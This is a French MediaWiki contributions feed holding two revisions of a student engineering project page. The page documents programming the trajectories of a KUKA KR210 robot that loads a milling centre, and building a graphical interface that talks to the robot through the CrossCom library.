<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="fr">
		<id>https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Froyer1</id>
		<title>Wiki d'activités IMA - Contributions de l’utilisateur [fr]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki-ima.plil.fr/mediawiki//api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Froyer1"/>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php/Sp%C3%A9cial:Contributions/Froyer1"/>
		<updated>2026-05-13T19:12:24Z</updated>
		<subtitle>Contributions de l’utilisateur</subtitle>
		<generator>MediaWiki 1.29.2</generator>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27478</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27478"/>
				<updated>2016-02-20T18:19:45Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 15 au 19 février 2016 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
*Une partie des trajectoires a également été réalisé (prise des préhenseurs et des pièces, retournement et le déplacement des palettes)&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
Toutes les trajectoires ont été terminées. De plus, à partir de cette semaine, nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_1.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_2.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.&lt;br /&gt;
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.&lt;br /&gt;
&lt;br /&gt;
Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_3.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_3bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_4.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_4bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.&lt;br /&gt;
&lt;br /&gt;
Nous avons également commencé la réalisation d'un code permettant de lancer les trajectoires souhaitées en fonction des choix fait dans l'IHM.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 8 au 12 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.&lt;br /&gt;
&lt;br /&gt;
C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_5.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.&lt;br /&gt;
&lt;br /&gt;
La réalisation du code faisant la liaison entre l'IHM et les trajectoires est plus compliqué que prévu. Nous avons des problèmes pour faire l'appel de nos programmes ainsi que pour la réalisation de nos boucles.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 15 au 19 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Tests concernant la communication entre l'interface et le robot à l'aide de la librairie CrossCom qui nous a été conseillée par Kuka.&lt;br /&gt;
Cette librairie est disponible uniquement en Visual Basic 6 et l'absence de documentation rend son utilisation difficile. Nous arrivons à récupérer le ''path'' de nos fichiers et à les charger dans le robot via cette librairie mais il reste impossible de les exécuter. Différentes syntaxes on été testées pour lancer un programme, sans succès pour l'instant.&lt;br /&gt;
&lt;br /&gt;
Par la suite nous avons découvert une variable système permettant de lancer un programme en revanche celle-ci est disponible uniquement en lecture. En revanche nous arrivons maintenant à appeler des programmes fils à partir du robot Kuka. Ceci nous permet de tester l'état des capteurs et les valeurs en mémoire du robot et d'appeler des programmes en fonction de ces valeurs.&lt;br /&gt;
&lt;br /&gt;
Du coup pour contourner le problème rencontré au niveau de l’exécution des programme nous avons choisi d’exécuter manuellement un programme main sur le robot qui attend un signal de l'interface graphique pour exécuter nos différents programmes. De cette manière l'interface graphique a seulement besoin de venir écrire les différentes variables dans la mémoire du robot, et l'une de ces variables va déclencher l’exécution du programme. Ceci a pour le moment été testé sans l'utilisation de l'interface graphique, en exécutant directement le programme de communication pour des raisons de compatibilité avec Windows XP. Nous travaillons à résoudre ce problème.&lt;br /&gt;
&lt;br /&gt;
Le problème de compatibilité a été résolu en réalisant une version XP de l'interface graphique réalisée avec Visual Studio 2010. Le code principale permettant l’exécution des sous programmes est réalisé et la communication entre l'interface graphique et le robot fonctionne.&lt;br /&gt;
&lt;br /&gt;
Le temps restant sera consacré à la finition du rapport et la préparation de la soutenance.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27415</id>
		<title>P27 Robot de fraiseuse</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P27_Robot_de_fraiseuse&amp;diff=27415"/>
				<updated>2016-02-19T14:24:25Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* Semaine du 15 au 19 février 2016 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;La  société  SARL  LEQUIEN  est  spécialisée  dans  la  fabrication  et  la  commercialisation d’ensembles  mécaniques  et  de  mécano-soudure  de précision,  usinés  en  commande numérique en petites et moyennes séries.&lt;br /&gt;
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Environnement.png|center|500px|Environnement de travail]]&lt;br /&gt;
&lt;br /&gt;
== Descriptif du projet ==&lt;br /&gt;
&lt;br /&gt;
L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.&lt;br /&gt;
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de  pièces à usiner. Chaque palette est équipée  de  deux  faces  d’usinage, permettant  ainsi  le  chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.&lt;br /&gt;
[[Fichier:Usinage piece.png|center|500px]]&lt;br /&gt;
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés. &lt;br /&gt;
[[Fichier:Dispositif.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
== Cahier des charges ==&lt;br /&gt;
&lt;br /&gt;
Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :&lt;br /&gt;
*Prise d’une pièce (1) &lt;br /&gt;
*Dépôt sur le support d’ajustement (2) &lt;br /&gt;
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3) &lt;br /&gt;
*Usinage de la 1ere Opération &lt;br /&gt;
*Dépôt sur le support de retournement (4) &lt;br /&gt;
*Dépôt sur le montage de bridage  pour la 2eme opération d’usinage (5) &lt;br /&gt;
*Usinage de la 2eme Opération &lt;br /&gt;
*Dépôt sur le panier fini (6)&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Cycle.png|center|500px]]&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.&lt;br /&gt;
&lt;br /&gt;
Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)&lt;br /&gt;
&lt;br /&gt;
== Problématique Majeure du Projet ==&lt;br /&gt;
&lt;br /&gt;
Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.&lt;br /&gt;
&lt;br /&gt;
Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.&lt;br /&gt;
&lt;br /&gt;
Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.&lt;br /&gt;
&lt;br /&gt;
Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme. &lt;br /&gt;
&lt;br /&gt;
== Avancement du projet ==&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 21 au 25 septembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges&lt;br /&gt;
*Prise des mesures afin de simuler l'environnement de travail&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 5 au 9 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Création du wiki&lt;br /&gt;
*Rédaction du cahier des charges&lt;br /&gt;
*Prise en main du logiciel Kuka Sim Pro&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 12 au 16 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Formation sur le logiciel Kuka Sim Pro&lt;br /&gt;
*Début de la génération de l'environnement&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 19 au 23 octobre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)&lt;br /&gt;
[[Média:TestTrajectoire.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 2 au 6 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Environnement quasiment finalisé&lt;br /&gt;
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur&lt;br /&gt;
[[Média:TestAttachPrehenseur.pdf‎]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 9 au 13 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Réalisation d'un cycle avec prise et relâche d'un préhenseur&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 16 au 20 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet&lt;br /&gt;
*Prise de mesures supplémentaire&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 23 au 27 novembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)&lt;br /&gt;
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6&lt;br /&gt;
[[Média:TestKR6.mp4]]&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 30 novembre au 4 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Avancement du rapport&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 7 au 11 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.&lt;br /&gt;
*Réalisation de nouvelles trajectoires plus complexes&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 14 au 18 décembre 2015 ===&lt;br /&gt;
&lt;br /&gt;
*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 4 au 8 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.&lt;br /&gt;
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 11 au 15 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.&lt;br /&gt;
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#. &lt;br /&gt;
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 18 au 22 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.&lt;br /&gt;
*Une partie des trajectoires a également été réalisé (prise des préhenseurs et des pièces, retournement et le déplacement des palettes)&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 25 au 29 janvier 2016 ===&lt;br /&gt;
&lt;br /&gt;
Toutes les trajectoires ont été terminées. De plus, à partir de cette semaine, nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.&lt;br /&gt;
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.&lt;br /&gt;
&lt;br /&gt;
Les paramètres à définir sont :&lt;br /&gt;
*Le type de pièce que l'on souhaite usiner.&lt;br /&gt;
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)&lt;br /&gt;
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)&lt;br /&gt;
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)&lt;br /&gt;
*Et pour finir le nombre de pièces que l'on va usiner.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 1 au 5 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une version alpha de l'interface à été réalisée.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_1.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_2.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.&lt;br /&gt;
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.&lt;br /&gt;
&lt;br /&gt;
Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_3.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_3bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:P27_IHM_4.jpg|center|690px]]&lt;br /&gt;
[[Fichier:P27_IHM_4bis.jpg|center|690px]]&lt;br /&gt;
&lt;br /&gt;
La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.&lt;br /&gt;
&lt;br /&gt;
Nous avons également commencé la réalisation d'un code permettant de lancer les trajectoires souhaitées en fonction des choix fait dans l'IHM.&lt;br /&gt;
&lt;br /&gt;
=== Semaine du 8 au 12 février 2016 ===&lt;br /&gt;
&lt;br /&gt;
Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.&lt;br /&gt;
&lt;br /&gt;
C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.&lt;br /&gt;
&lt;br /&gt;
